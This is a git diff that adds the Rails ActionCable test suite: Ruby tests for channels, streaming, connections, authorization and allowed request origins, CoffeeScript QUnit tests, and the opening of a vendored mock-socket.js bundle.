connection.expects(:pubsub).returns mock().tap { |m| m.expects(:subscribe).with("action_cable:stream_tests:chat:Room#1-Campfire", kind_of(Proc), kind_of(Proc)).returns stub_everything(:pubsub) } + + channel = ChatChannel.new connection, "" + channel.stream_for Room.new(1) + end + end + + test "stream_from subscription confirmation" do + run_in_eventmachine do + connection = TestConnection.new + + ChatChannel.new connection, "{id: 1}", { id: 1 } + assert_nil connection.last_transmission + + wait_for_async + + confirmation = { "identifier" => "{id: 1}", "type" => "confirm_subscription" } + connection.transmit(confirmation) + + assert_equal confirmation, connection.last_transmission, "Did not receive subscription confirmation within 0.1s" + end + end + + test "subscription confirmation should only be sent out once" do + run_in_eventmachine do + connection = TestConnection.new + + channel = ChatChannel.new connection, "test_channel" + channel.send_confirmation + channel.send_confirmation + + wait_for_async + + expected = { "identifier" => "test_channel", "type" => "confirm_subscription" } + assert_equal expected, connection.last_transmission, "Did not receive subscription confirmation" + + assert_equal 1, connection.transmissions.size + end + end + end + + require 'action_cable/subscription_adapter/inline' + + class UserCallbackChannel < ActionCable::Channel::Base + def subscribed + stream_from :channel do + Thread.current[:ran_callback] = true + end + end + end + + class StreamEncodingTest < ActionCable::TestCase + setup do + @server = TestServer.new(subscription_adapter: ActionCable::SubscriptionAdapter::Inline) + @server.config.allowed_request_origins = %w( http://rubyonrails.com ) + @server.stubs(:channel_classes).returns( + ChatChannel.name => ChatChannel, + UserCallbackChannel.name => UserCallbackChannel, + ) + end + + test 'custom encoder' do + run_in_eventmachine do + connection = open_connection + subscribe_to connection, identifiers: { id: 1 } + + connection.websocket.expects(:transmit) + @server.broadcast 'test_room_1', { foo: 'bar' }, coder: DummyEncoder + wait_for_async + wait_for_executor connection.server.worker_pool.executor + end + end + + test "user supplied callbacks are run through the worker pool" do + run_in_eventmachine do + connection = open_connection + receive(connection, command: 'subscribe', channel: UserCallbackChannel.name, identifiers: { id: 1 }) + + @server.broadcast 'channel', {} + wait_for_async + refute Thread.current[:ran_callback], "User callback was not run through the worker pool" + end + end + + private + def subscribe_to(connection, identifiers:) + receive connection, command: 'subscribe', identifiers: identifiers + end + + def open_connection + env = Rack::MockRequest.env_for '/test', 'HTTP_HOST' => 'localhost', 'HTTP_CONNECTION' => 'upgrade', 'HTTP_UPGRADE' => 'websocket', 'HTTP_ORIGIN' => 'http://rubyonrails.com' + + Connection.new(@server, env).tap do |connection| + connection.process + assert connection.websocket.possible? + + wait_for_async + assert connection.websocket.alive? + end + end + + def receive(connection, command:, identifiers:, channel: 'ActionCable::StreamTests::ChatChannel') + identifier = JSON.generate(channel: channel, **identifiers) + connection.dispatch_websocket_message JSON.generate(command: command, identifier: identifier) + wait_for_async + end + end +end diff --git a/actioncable/test/client/echo_channel.rb b/actioncable/test/client/echo_channel.rb new file mode 100644 index 0000000000..5a7bac25c5 --- /dev/null +++ b/actioncable/test/client/echo_channel.rb @@ -0,0 +1,22 @@ +class EchoChannel < ActionCable::Channel::Base + def subscribed + stream_from "global" + end + + def unsubscribed + 'Goodbye from EchoChannel!' + end + + def ding(data) + transmit(dong: data['message']) + end + + def delay(data) + sleep 1 + transmit(dong: data['message']) + end + + def bulk(data) + ActionCable.server.broadcast "global", wide: data['message'] + end +end diff --git a/actioncable/test/client_test.rb b/actioncable/test/client_test.rb new file mode 100644 index 0000000000..fe503fd703 --- /dev/null +++ b/actioncable/test/client_test.rb @@ -0,0 +1,253 @@ +require 'test_helper' +require 'concurrent' + +require 'active_support/core_ext/hash/indifferent_access' +require 'pathname' + +require 'faye/websocket' +require 'json' + +class ClientTest < ActionCable::TestCase + WAIT_WHEN_EXPECTING_EVENT = 8 + WAIT_WHEN_NOT_EXPECTING_EVENT = 0.5 + + def setup + ActionCable.instance_variable_set(:@server, nil) + server = ActionCable.server + server.config.logger = Logger.new(StringIO.new).tap { |l| l.level = Logger::UNKNOWN } + + server.config.cable = { adapter: 'async' }.with_indifferent_access + server.config.use_faye = ENV['FAYE'].present? + + # and now the "real" setup for our test: + server.config.disable_request_forgery_protection = true + server.config.channel_paths = [ File.expand_path('client/echo_channel.rb', __dir__) ] + + Thread.new { EventMachine.run } unless EventMachine.reactor_running? + Thread.pass until EventMachine.reactor_running? + + # faye-websocket is warning-rich + @previous_verbose, $VERBOSE = $VERBOSE, nil + end + + def teardown + $VERBOSE = @previous_verbose + end + + def with_puma_server(rack_app = ActionCable.server, port = 3099) + server = ::Puma::Server.new(rack_app, ::Puma::Events.strings) + server.add_tcp_listener '127.0.0.1', port + server.min_threads = 1 + server.max_threads = 4 + + t = Thread.new { server.run.join } + yield port + + ensure + server.stop(true) if server + t.join if t + end + + class SyncClient + attr_reader :pings + + def initialize(port) + @ws = Faye::WebSocket::Client.new("ws://127.0.0.1:#{port}/") + @messages = Queue.new + @closed = Concurrent::Event.new + @has_messages = Concurrent::Semaphore.new(0) + @pings = 0 + + open = Concurrent::Event.new + error = nil + + @ws.on(:error) do |event| + if open.set? + @messages << RuntimeError.new(event.message) + else + error = event.message + open.set + end + end + + @ws.on(:open) do |event| + open.set + end + + @ws.on(:message) do |event| + message = JSON.parse(event.data) + if message['type'] == 'ping' + @pings += 1 + else + @messages << message + @has_messages.release + end + end + + @ws.on(:close) do |event| + @closed.set + end + + open.wait(WAIT_WHEN_EXPECTING_EVENT) + raise error if error + end + + def read_message + @has_messages.try_acquire(1, WAIT_WHEN_EXPECTING_EVENT) + + msg = @messages.pop(true) + raise msg if msg.is_a?(Exception) + + msg + end + + def read_messages(expected_size = 0) + list = [] + loop do + if @has_messages.try_acquire(1, list.size < expected_size ? WAIT_WHEN_EXPECTING_EVENT : WAIT_WHEN_NOT_EXPECTING_EVENT) + msg = @messages.pop(true) + raise msg if msg.is_a?(Exception) + + list << msg + else + break + end + end + list + end + + def send_message(message) + @ws.send(JSON.generate(message)) + end + + def close + sleep WAIT_WHEN_NOT_EXPECTING_EVENT + + unless @messages.empty? + raise "#{@messages.size} messages unprocessed" + end + + @ws.close + wait_for_close + end + + def wait_for_close + @closed.wait(WAIT_WHEN_EXPECTING_EVENT) + end + + def closed? + @closed.set? + end + end + + def faye_client(port) + SyncClient.new(port) + end + + def test_single_client + with_puma_server do |port| + c = faye_client(port) + assert_equal({"type" => "welcome"}, c.read_message) # pop the first welcome message off the stack + c.send_message command: 'subscribe', identifier: JSON.generate(channel: 'EchoChannel') + assert_equal({"identifier"=>"{\"channel\":\"EchoChannel\"}", "type"=>"confirm_subscription"}, c.read_message) + c.send_message command: 'message', identifier: JSON.generate(channel: 'EchoChannel'), data: JSON.generate(action: 'ding', message: 'hello') + assert_equal({"identifier"=>"{\"channel\":\"EchoChannel\"}", "message"=>{"dong"=>"hello"}}, c.read_message) + c.close + end + end + + def test_interacting_clients + with_puma_server do |port| + clients = 10.times.map { faye_client(port) } + + barrier_1 = Concurrent::CyclicBarrier.new(clients.size) + barrier_2 = Concurrent::CyclicBarrier.new(clients.size) + + clients.map {|c| Concurrent::Future.execute { + assert_equal({"type" => "welcome"}, c.read_message) # pop the first welcome message off the stack + c.send_message command: 'subscribe', identifier: JSON.generate(channel: 'EchoChannel') + assert_equal({"identifier"=>'{"channel":"EchoChannel"}', "type"=>"confirm_subscription"}, c.read_message) + c.send_message command: 'message', identifier: JSON.generate(channel: 'EchoChannel'), data: JSON.generate(action: 'ding', message: 'hello') + assert_equal({"identifier"=>'{"channel":"EchoChannel"}', "message"=>{"dong"=>"hello"}}, c.read_message) + barrier_1.wait WAIT_WHEN_EXPECTING_EVENT + c.send_message command: 'message', identifier: JSON.generate(channel: 'EchoChannel'), data: JSON.generate(action: 'bulk', message: 'hello') + barrier_2.wait WAIT_WHEN_EXPECTING_EVENT + assert_equal clients.size, c.read_messages(clients.size).size + } }.each(&:wait!) + + clients.map {|c| Concurrent::Future.execute { c.close } }.each(&:wait!) + end + end + + def test_many_clients + with_puma_server do |port| + clients = 100.times.map { faye_client(port) } + + clients.map {|c| Concurrent::Future.execute { + assert_equal({"type" => "welcome"}, c.read_message) # pop the first welcome message off the stack + c.send_message command: 'subscribe', identifier: JSON.generate(channel: 'EchoChannel') + assert_equal({"identifier"=>'{"channel":"EchoChannel"}', "type"=>"confirm_subscription"}, c.read_message) + c.send_message command: 'message', identifier: JSON.generate(channel: 'EchoChannel'), data: JSON.generate(action: 'ding', message: 'hello') + assert_equal({"identifier"=>'{"channel":"EchoChannel"}', "message"=>{"dong"=>"hello"}}, c.read_message) + } }.each(&:wait!) + + clients.map {|c| Concurrent::Future.execute { c.close } }.each(&:wait!) + end + end + + def test_disappearing_client + with_puma_server do |port| + c = faye_client(port) + assert_equal({"type" => "welcome"}, c.read_message) # pop the first welcome message off the stack + c.send_message command: 'subscribe', identifier: JSON.generate(channel: 'EchoChannel') + assert_equal({"identifier"=>"{\"channel\":\"EchoChannel\"}", "type"=>"confirm_subscription"}, c.read_message) + c.send_message command: 'message', identifier: JSON.generate(channel: 'EchoChannel'), data: JSON.generate(action: 'delay', message: 'hello') + c.close # disappear before write + + c = faye_client(port) + assert_equal({"type" => "welcome"}, c.read_message) # pop the first welcome message off the stack + c.send_message command: 'subscribe', identifier: JSON.generate(channel: 'EchoChannel') + assert_equal({"identifier"=>"{\"channel\":\"EchoChannel\"}", "type"=>"confirm_subscription"}, c.read_message) + c.send_message command: 'message', identifier: JSON.generate(channel: 'EchoChannel'), data: JSON.generate(action: 'ding', message: 'hello') + assert_equal({"identifier"=>'{"channel":"EchoChannel"}', "message"=>{"dong"=>"hello"}}, c.read_message) + c.close # disappear before read + end + end + + def test_unsubscribe_client + with_puma_server do |port| + app = ActionCable.server + identifier = JSON.generate(channel: 'EchoChannel') + + c = faye_client(port) + assert_equal({"type" => "welcome"}, c.read_message) + c.send_message command: 'subscribe', identifier: identifier + assert_equal({"identifier"=>"{\"channel\":\"EchoChannel\"}", "type"=>"confirm_subscription"}, c.read_message) + assert_equal(1, app.connections.count) + assert(app.remote_connections.where(identifier: identifier)) + + subscriptions = app.connections.first.subscriptions.send(:subscriptions) + assert_not_equal 0, subscriptions.size, 'Missing EchoChannel subscription' + channel = subscriptions.first[1] + channel.expects(:unsubscribed) + c.close + sleep 0.1 # Data takes a moment to process + + # All data is removed: No more connection or subscription information! + assert_equal(0, app.connections.count) + end + end + + def test_server_restart + with_puma_server do |port| + c = faye_client(port) + assert_equal({"type" => "welcome"}, c.read_message) + c.send_message command: 'subscribe', identifier: JSON.generate(channel: 'EchoChannel') + assert_equal({"identifier"=>"{\"channel\":\"EchoChannel\"}", "type"=>"confirm_subscription"}, c.read_message) + + ActionCable.server.restart + c.wait_for_close + assert c.closed? + end + end +end diff --git a/actioncable/test/connection/authorization_test.rb b/actioncable/test/connection/authorization_test.rb new file mode 100644 index 0000000000..a0506cb9c0 --- /dev/null +++ b/actioncable/test/connection/authorization_test.rb @@ -0,0 +1,31 @@ +require 'test_helper' +require 'stubs/test_server' + +class ActionCable::Connection::AuthorizationTest < ActionCable::TestCase + class Connection < ActionCable::Connection::Base + attr_reader :websocket + + def connect + reject_unauthorized_connection + end + + def send_async(method, *args) + send method, *args + end + end + + test "unauthorized connection" do + run_in_eventmachine do + server = TestServer.new + server.config.allowed_request_origins = %w( http://rubyonrails.com ) + + env = Rack::MockRequest.env_for "/test", 'HTTP_CONNECTION' => 'upgrade', 'HTTP_UPGRADE' => 'websocket', + 'HTTP_HOST' => 'localhost', 'HTTP_ORIGIN' => 'http://rubyonrails.com' + + connection = Connection.new(server, env) + connection.websocket.expects(:close) + + connection.process + end + end +end diff --git a/actioncable/test/connection/base_test.rb b/actioncable/test/connection/base_test.rb new file mode 100644 index 0000000000..d7e1041e68 --- /dev/null +++ b/actioncable/test/connection/base_test.rb @@ -0,0 +1,139 @@ +require 'test_helper' +require 'stubs/test_server' +require 'active_support/core_ext/object/json' + +class ActionCable::Connection::BaseTest < ActionCable::TestCase + class Connection < ActionCable::Connection::Base + attr_reader :websocket, :subscriptions, :message_buffer, :connected + + def connect + @connected = true + end + + def disconnect + @connected = false + end + + def send_async(method, *args) + send method, *args + end + end + + setup do + @server = TestServer.new + @server.config.allowed_request_origins = %w( http://rubyonrails.com ) + end + + test "making a connection with invalid headers" do + run_in_eventmachine do + connection = ActionCable::Connection::Base.new(@server, Rack::MockRequest.env_for("/test")) + response = connection.process + assert_equal 404, response[0] + end + end + + test "websocket connection" do + run_in_eventmachine do + connection = open_connection + connection.process + + assert connection.websocket.possible? + + wait_for_async + assert connection.websocket.alive? + end + end + + test "rack response" do + run_in_eventmachine do + connection = open_connection + response = connection.process + + assert_equal [ -1, {}, [] ], response + end + end + + test "on connection open" do + run_in_eventmachine do + connection = open_connection + + connection.websocket.expects(:transmit).with({ type: "welcome" }.to_json) + connection.message_buffer.expects(:process!) + + connection.process + wait_for_async + + assert_equal [ connection ], @server.connections + assert connection.connected + end + end + + test "on connection close" do + run_in_eventmachine do + connection = open_connection + connection.process + + # Setup the connection + connection.server.stubs(:timer).returns(true) + connection.send :handle_open + assert connection.connected + + connection.subscriptions.expects(:unsubscribe_from_all) + connection.send :handle_close + + assert ! connection.connected + assert_equal [], @server.connections + end + end + + test "connection statistics" do + run_in_eventmachine do + connection = open_connection + connection.process + + statistics = connection.statistics + + assert statistics[:identifier].blank? + assert_kind_of Time, statistics[:started_at] + assert_equal [], statistics[:subscriptions] + end + end + + test "explicitly closing a connection" do + run_in_eventmachine do + connection = open_connection + connection.process + + connection.websocket.expects(:close) + connection.close + end + end + + test "rejecting a connection causes a 404" do + run_in_eventmachine do + class CallMeMaybe + def call(*) + raise 'Do not call me!' + end + end + + env = Rack::MockRequest.env_for( + "/test", + { 'HTTP_CONNECTION' => 'upgrade', 'HTTP_UPGRADE' => 'websocket', + 'HTTP_HOST' => 'localhost', 'HTTP_ORIGIN' => 'http://rubyonrails.org', 'rack.hijack' => CallMeMaybe.new } + ) + + connection = ActionCable::Connection::Base.new(@server, env) + response = connection.process + assert_equal 404, response[0] + end + end + + private + def open_connection + env = Rack::MockRequest.env_for "/test", 'HTTP_CONNECTION' => 'upgrade', 'HTTP_UPGRADE' => 'websocket', + 'HTTP_HOST' => 'localhost', 'HTTP_ORIGIN' => 'http://rubyonrails.com' + + Connection.new(@server, env) + end +end diff --git a/actioncable/test/connection/client_socket_test.rb b/actioncable/test/connection/client_socket_test.rb new file mode 100644 index 0000000000..4af071b4da --- /dev/null +++ b/actioncable/test/connection/client_socket_test.rb @@ -0,0 +1,64 @@ +require 'test_helper' +require 'stubs/test_server' + +class ActionCable::Connection::ClientSocketTest < ActionCable::TestCase + class Connection < ActionCable::Connection::Base + attr_reader :connected, :websocket, :errors + + def initialize(*) + super + @errors = [] + end + + def connect + @connected = true + end + + def disconnect + @connected = false + end + + def send_async(method, *args) + send method, *args + end + + def on_error(message) + @errors << message + end + end + + setup do + @server = TestServer.new + @server.config.allowed_request_origins = %w( http://rubyonrails.com ) + end + + test 'delegate socket errors to on_error handler' do + skip if ENV['FAYE'].present? + + run_in_eventmachine do + connection = open_connection + + # Internal hax = :( + client = connection.websocket.send(:websocket) + client.instance_variable_get('@stream').expects(:write).raises('foo') + client.expects(:client_gone).never + + client.write('boo') + assert_equal %w[ foo ], connection.errors + end + end + + private + def open_connection + env = Rack::MockRequest.env_for '/test', + 'HTTP_CONNECTION' => 'upgrade', 'HTTP_UPGRADE' => 'websocket', + 'HTTP_HOST' => 'localhost', 'HTTP_ORIGIN' => 'http://rubyonrails.com' + env['rack.hijack'] = -> { env['rack.hijack_io'] = StringIO.new } + + Connection.new(@server, env).tap do |connection| + connection.process + connection.send :handle_open + assert connection.connected + end + end +end diff --git a/actioncable/test/connection/cross_site_forgery_test.rb b/actioncable/test/connection/cross_site_forgery_test.rb new file mode 100644 index 0000000000..2d516b0533 --- /dev/null +++ b/actioncable/test/connection/cross_site_forgery_test.rb @@ -0,0 +1,81 @@ +require 'test_helper' +require 'stubs/test_server' + +class ActionCable::Connection::CrossSiteForgeryTest < ActionCable::TestCase + HOST = 'rubyonrails.com' + + class Connection < ActionCable::Connection::Base + def send_async(method, *args) + send method, *args + end + end + + setup do + @server = TestServer.new + @server.config.allowed_request_origins = %w( http://rubyonrails.com ) + end + + teardown do + @server.config.disable_request_forgery_protection = false + @server.config.allowed_request_origins = [] + end + + test "disable forgery protection" do + @server.config.disable_request_forgery_protection = true + assert_origin_allowed 'http://rubyonrails.com' + assert_origin_allowed 'http://hax.com' + end + + test "explicitly specified a single allowed origin" do + @server.config.allowed_request_origins = 'http://hax.com' + assert_origin_not_allowed 'http://rubyonrails.com' + assert_origin_allowed 'http://hax.com' + end + + test "explicitly specified multiple allowed origins" do + @server.config.allowed_request_origins = %w( http://rubyonrails.com http://www.rubyonrails.com ) + assert_origin_allowed 'http://rubyonrails.com' + assert_origin_allowed 'http://www.rubyonrails.com' + assert_origin_not_allowed 'http://hax.com' + end + + test "explicitly specified a single regexp allowed origin" do + @server.config.allowed_request_origins = /.*ha.*/ + assert_origin_not_allowed 'http://rubyonrails.com' + assert_origin_allowed 'http://hax.com' + end + + test "explicitly specified multiple regexp allowed origins" do + @server.config.allowed_request_origins = [/http:\/\/ruby.*/, /.*rai.s.*com/, 'string' ] + assert_origin_allowed 'http://rubyonrails.com' + assert_origin_allowed 'http://www.rubyonrails.com' + assert_origin_not_allowed 'http://hax.com' + assert_origin_not_allowed 'http://rails.co.uk' + end + + private + def assert_origin_allowed(origin) + response = connect_with_origin origin + assert_equal(-1, response[0]) + end + + def assert_origin_not_allowed(origin) + response = connect_with_origin origin + assert_equal 404, response[0] + end + + def connect_with_origin(origin) + response = nil + + run_in_eventmachine do + response = Connection.new(@server, env_for_origin(origin)).process + end + + response + end + + def env_for_origin(origin) + Rack::MockRequest.env_for "/test", 'HTTP_CONNECTION' => 'upgrade', 'HTTP_UPGRADE' => 'websocket', 'SERVER_NAME' => HOST, + 'HTTP_HOST' => HOST, 'HTTP_ORIGIN' => origin + end +end diff --git a/actioncable/test/connection/identifier_test.rb b/actioncable/test/connection/identifier_test.rb new file mode 100644 index 0000000000..b48d9af809 --- /dev/null +++ b/actioncable/test/connection/identifier_test.rb @@ -0,0 +1,75 @@ +require 'test_helper' +require 'stubs/test_server' +require 'stubs/user' + +class ActionCable::Connection::IdentifierTest < ActionCable::TestCase + class Connection < ActionCable::Connection::Base + identified_by :current_user + attr_reader :websocket + + public :process_internal_message + + def connect + self.current_user = User.new "lifo" + end + end + + test "connection identifier" do + run_in_eventmachine do + open_connection_with_stubbed_pubsub + assert_equal "User#lifo", @connection.connection_identifier + end + end + + test "should subscribe to internal channel on open and unsubscribe on close" do + run_in_eventmachine do + pubsub = mock('pubsub_adapter') + pubsub.expects(:subscribe).with('action_cable/User#lifo', kind_of(Proc)) + pubsub.expects(:unsubscribe).with('action_cable/User#lifo', kind_of(Proc)) + + server = TestServer.new + server.stubs(:pubsub).returns(pubsub) + + open_connection server: server + close_connection + end + end + + test "processing disconnect message" do + run_in_eventmachine do + open_connection_with_stubbed_pubsub + + @connection.websocket.expects(:close) + @connection.process_internal_message 'type' => 'disconnect' + end + end + + test "processing invalid message" do + run_in_eventmachine do + open_connection_with_stubbed_pubsub + + @connection.websocket.expects(:close).never + @connection.process_internal_message 'type' => 'unknown' + end + end + + protected + def open_connection_with_stubbed_pubsub + server = TestServer.new + server.stubs(:adapter).returns(stub_everything('adapter')) + + open_connection server: server + end + + def open_connection(server:) + env = Rack::MockRequest.env_for "/test", 'HTTP_HOST' => 'localhost', 'HTTP_CONNECTION' => 'upgrade', 'HTTP_UPGRADE' => 'websocket' + @connection = Connection.new(server, env) + + @connection.process + @connection.send :handle_open + end + + def close_connection + @connection.send :handle_close + end +end diff --git a/actioncable/test/connection/multiple_identifiers_test.rb b/actioncable/test/connection/multiple_identifiers_test.rb new file mode 100644 index 0000000000..484e73bb30 --- /dev/null +++ b/actioncable/test/connection/multiple_identifiers_test.rb @@ -0,0 +1,41 @@ +require 'test_helper' +require 'stubs/test_server' +require 'stubs/user' + +class ActionCable::Connection::MultipleIdentifiersTest < ActionCable::TestCase + class Connection < ActionCable::Connection::Base + identified_by :current_user, :current_room + + def connect + self.current_user = User.new "lifo" + self.current_room = Room.new "my", "room" + end + end + + test "multiple connection identifiers" do + run_in_eventmachine do + open_connection_with_stubbed_pubsub + assert_equal "Room#my-room:User#lifo", @connection.connection_identifier + end + end + + protected + def open_connection_with_stubbed_pubsub + server = TestServer.new + server.stubs(:pubsub).returns(stub_everything('pubsub')) + + open_connection server: server + end + + def open_connection(server:) + env = Rack::MockRequest.env_for "/test", 'HTTP_HOST' => 'localhost', 'HTTP_CONNECTION' => 'upgrade', 'HTTP_UPGRADE' => 'websocket' + @connection = Connection.new(server, env) + + @connection.process + @connection.send :handle_open + end + + def close_connection + @connection.send :handle_close + end +end diff --git a/actioncable/test/connection/stream_test.rb b/actioncable/test/connection/stream_test.rb new file mode 100644 index 0000000000..a7a61d8d6f --- /dev/null +++ b/actioncable/test/connection/stream_test.rb @@ -0,0 +1,66 @@ +require 'test_helper' +require 'stubs/test_server' + +class ActionCable::Connection::StreamTest < ActionCable::TestCase + class Connection < ActionCable::Connection::Base + attr_reader :connected, :websocket, :errors + + def initialize(*) + super + @errors = [] + end + + def connect + @connected = true + end + + def disconnect + @connected = false + end + + def send_async(method, *args) + send method, *args + end + + def on_error(message) + @errors << message + end + end + + setup do + @server = TestServer.new + @server.config.allowed_request_origins = %w( http://rubyonrails.com ) + end + + [ EOFError, Errno::ECONNRESET ].each do |closed_exception| + test "closes socket on #{closed_exception}" do + skip if ENV['FAYE'].present? + + run_in_eventmachine do + connection = open_connection + + # Internal hax = :( + client = connection.websocket.send(:websocket) + client.instance_variable_get('@stream').instance_variable_get('@rack_hijack_io').expects(:write).raises(closed_exception, 'foo') + client.expects(:client_gone) + + client.write('boo') + assert_equal [], connection.errors + end + end + end + + private + def open_connection + env = Rack::MockRequest.env_for '/test', + 'HTTP_CONNECTION' => 'upgrade', 'HTTP_UPGRADE' => 'websocket', + 'HTTP_HOST' => 'localhost', 'HTTP_ORIGIN' => 'http://rubyonrails.com' + env['rack.hijack'] = -> { env['rack.hijack_io'] = StringIO.new } + + Connection.new(@server, env).tap do |connection| + connection.process + connection.send :handle_open + assert connection.connected + end + end +end diff --git a/actioncable/test/connection/string_identifier_test.rb b/actioncable/test/connection/string_identifier_test.rb new file mode 100644 index 0000000000..eca0c31060 --- /dev/null +++ b/actioncable/test/connection/string_identifier_test.rb @@ -0,0 +1,43 @@ +require 'test_helper' +require 'stubs/test_server' + +class ActionCable::Connection::StringIdentifierTest < ActionCable::TestCase + class Connection < ActionCable::Connection::Base + identified_by :current_token + + def connect + self.current_token = "random-string" + end + + def send_async(method, *args) + send method, *args + end + end + + test "connection identifier" do + run_in_eventmachine do + open_connection_with_stubbed_pubsub + assert_equal "random-string", @connection.connection_identifier + end + end + + protected + def open_connection_with_stubbed_pubsub + @server = TestServer.new + @server.stubs(:pubsub).returns(stub_everything('pubsub')) + + open_connection + end + + def open_connection + env = Rack::MockRequest.env_for "/test", 'HTTP_HOST' => 'localhost', 'HTTP_CONNECTION' => 'upgrade', 'HTTP_UPGRADE' => 'websocket' + @connection = Connection.new(@server, env) + + @connection.process + @connection.send :on_open + end + + def close_connection + @connection.send :on_close + end +end diff --git a/actioncable/test/connection/subscriptions_test.rb b/actioncable/test/connection/subscriptions_test.rb new file mode 100644 index 0000000000..53e8547245 --- /dev/null +++ b/actioncable/test/connection/subscriptions_test.rb @@ -0,0 +1,115 @@ +require 'test_helper' + +class ActionCable::Connection::SubscriptionsTest < ActionCable::TestCase + class Connection < ActionCable::Connection::Base + attr_reader :websocket + + def send_async(method, *args) + send method, *args + end + end + + class ChatChannel < ActionCable::Channel::Base + attr_reader :room, :lines + + def subscribed + @room = Room.new params[:id] + @lines = [] + end + + def speak(data) + @lines << data + end + end + + setup do + @server = TestServer.new + @server.stubs(:channel_classes).returns(ChatChannel.name => ChatChannel) + + @chat_identifier = ActiveSupport::JSON.encode(id: 1, channel: 'ActionCable::Connection::SubscriptionsTest::ChatChannel') + end + + test "subscribe command" do + run_in_eventmachine do + setup_connection + channel = subscribe_to_chat_channel + + assert_kind_of ChatChannel, channel + assert_equal 1, channel.room.id + end + end + + test "subscribe command without an identifier" do + run_in_eventmachine do + setup_connection + + @subscriptions.execute_command 'command' => 'subscribe' + assert @subscriptions.identifiers.empty? + end + end + + test "unsubscribe command" do + run_in_eventmachine do + setup_connection + subscribe_to_chat_channel + + channel = subscribe_to_chat_channel + channel.expects(:unsubscribe_from_channel) + + @subscriptions.execute_command 'command' => 'unsubscribe', 'identifier' => @chat_identifier + assert @subscriptions.identifiers.empty? + end + end + + test "unsubscribe command without an identifier" do + run_in_eventmachine do + setup_connection + + @subscriptions.execute_command 'command' => 'unsubscribe' + assert @subscriptions.identifiers.empty? + end + end + + test "message command" do + run_in_eventmachine do + setup_connection + channel = subscribe_to_chat_channel + + data = { 'content' => 'Hello World!', 'action' => 'speak' } + @subscriptions.execute_command 'command' => 'message', 'identifier' => @chat_identifier, 'data' => ActiveSupport::JSON.encode(data) + + assert_equal [ data ], channel.lines + end + end + + test "unsubscribe from all" do + run_in_eventmachine do + setup_connection + + channel1 = subscribe_to_chat_channel + + channel2_id = ActiveSupport::JSON.encode(id: 2, channel: 'ActionCable::Connection::SubscriptionsTest::ChatChannel') + channel2 = subscribe_to_chat_channel(channel2_id) + + channel1.expects(:unsubscribe_from_channel) + channel2.expects(:unsubscribe_from_channel) + + @subscriptions.unsubscribe_from_all + end + end + + private + def subscribe_to_chat_channel(identifier = @chat_identifier) + @subscriptions.execute_command 'command' => 'subscribe', 'identifier' => identifier + assert_equal identifier, @subscriptions.identifiers.last + + @subscriptions.send :find, 'identifier' => identifier + end + + def setup_connection + env = Rack::MockRequest.env_for "/test", 'HTTP_HOST' => 'localhost', 'HTTP_CONNECTION' => 'upgrade', 'HTTP_UPGRADE' => 'websocket' + @connection = Connection.new(@server, env) + + @subscriptions = ActionCable::Connection::Subscriptions.new(@connection) + end +end diff --git a/actioncable/test/javascript/src/test.coffee b/actioncable/test/javascript/src/test.coffee new file mode 100644 index 0000000000..3ce88c7789 --- /dev/null +++ b/actioncable/test/javascript/src/test.coffee @@ -0,0 +1,3 @@ +#= require action_cable +#= require_tree ./test_helpers +#= require_tree ./unit diff --git a/actioncable/test/javascript/src/test_helpers/index.coffee b/actioncable/test/javascript/src/test_helpers/index.coffee new file mode 100644 index 0000000000..e0d1e412cd --- /dev/null +++ b/actioncable/test/javascript/src/test_helpers/index.coffee @@ -0,0 +1,5 @@ +#= require_self +#= require_tree . + +ActionCable.TestHelpers = + testURL: "ws://cable.example.com/" diff --git a/actioncable/test/javascript/src/test_helpers/mock_websocket.coffee b/actioncable/test/javascript/src/test_helpers/mock_websocket.coffee new file mode 100644 index 0000000000..b7f86f18f6 --- /dev/null +++ b/actioncable/test/javascript/src/test_helpers/mock_websocket.coffee @@ -0,0 +1,21 @@ +#= require mock-socket + +NativeWebSocket = window.WebSocket + +server = null +consumer = null + +ActionCable.TestHelpers.createConsumer = (url, callback) -> + window.WebSocket = MockWebSocket + server = new MockServer url + consumer = ActionCable.createConsumer(url) + callback(consumer, server) + +QUnit.testDone -> + if consumer? + consumer.disconnect() + + if server? + server.clients().forEach (client) -> client.close() + server.close() + window.WebSocket = NativeWebSocket diff --git a/actioncable/test/javascript/src/unit/action_cable_test.coffee b/actioncable/test/javascript/src/unit/action_cable_test.coffee new file mode 100644 index 0000000000..f9eff64769 --- /dev/null +++ b/actioncable/test/javascript/src/unit/action_cable_test.coffee @@ -0,0 +1,24 @@ +{module, test} = QUnit +{testURL} = ActionCable.TestHelpers + +module "ActionCable", -> + module "#createConsumer", -> + test "uses specified URL", (assert) -> + consumer = ActionCable.createConsumer(testURL) + assert.equal consumer.url, testURL + + test "uses default URL", (assert) -> + pattern = ///#{ActionCable.INTERNAL.default_mount_path}$/// + consumer = ActionCable.createConsumer() + assert.ok pattern.test(consumer.url), "Expected #{consumer.url} to match #{pattern}" + + test "uses URL from meta tag", (assert) -> + element = document.createElement("meta") + element.setAttribute("name", "action-cable-url") + element.setAttribute("content", testURL) + + document.head.appendChild(element) + consumer = ActionCable.createConsumer() + document.head.removeChild(element) + + assert.equal consumer.url, testURL diff --git a/actioncable/test/javascript/src/unit/consumer_test.coffee b/actioncable/test/javascript/src/unit/consumer_test.coffee new file mode 100644 index 0000000000..d8b1450ad8 --- /dev/null +++ b/actioncable/test/javascript/src/unit/consumer_test.coffee @@ -0,0 +1,31 @@ +{module, test} = QUnit +{testURL, createConsumer} = ActionCable.TestHelpers + +module "ActionCable.Consumer", -> + test "#connect", (assert) -> + done = assert.async() + + createConsumer testURL, (consumer, server) -> + server.on "connection", -> + clients = server.clients() + assert.equal clients.length, 1 + assert.equal clients[0].readyState, WebSocket.OPEN + done() + + consumer.connect() + + test "#disconnect", (assert) -> + done = assert.async() + + createConsumer testURL, (consumer, server) -> + server.on "connection", -> + clients = server.clients() + assert.equal clients.length, 1 + + clients[0].addEventListener "close", (event) -> + assert.equal event.type, "close" + done() + + consumer.disconnect() + + consumer.connect() diff --git a/actioncable/test/javascript/vendor/mock-socket.js b/actioncable/test/javascript/vendor/mock-socket.js new file mode 100644 index 0000000000..b465c8b53f --- /dev/null +++ b/actioncable/test/javascript/vendor/mock-socket.js @@ -0,0 +1,4533 @@ +(function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return 